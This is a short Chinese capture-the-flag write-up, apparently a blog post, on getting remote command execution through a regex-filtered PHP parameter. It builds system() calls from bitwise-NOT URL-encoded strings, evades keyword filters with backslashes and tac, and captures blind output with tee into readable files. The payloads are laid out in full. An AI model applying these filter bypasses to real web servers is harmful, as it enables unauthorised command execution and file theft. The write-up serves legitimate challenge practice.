本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com


正则匹配掉了大部分,基本上普通方法是不能用了,自增RCE也是用不了,但是我们可以看出他没有过滤~和(),所以我们可以取反或者异或来获取flag
<?php
echo urlencode(~’ls /’);
echo "<br>";
echo urlencode(~’system’);
?>
输出:%93%8C%DF%D0
%8C%86%8C%8B%9A%92
?url=(~%93%8C%DF%D0)(%8C%86%8C%8B%9A%92)

发现无任何回显
exce()函数不返回命令执行结果,所以要进行输出重定向
exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
l\s / | tee 1.txt
(这里解释一下tee的作用:
tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
command | tee output.txt
)

tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件。

cat命令被过滤了,那直接用tac
?url=tac /flllll\aaaaaaggggggg|tee 3.txt(因为过滤了la)

访问3.txt
总结
无回显RCE
exec函数:
exce()函数不返回命令执行结果,所以要进行输出重定向
exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
l\s / | tee 1.txt
tee的作用:
tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。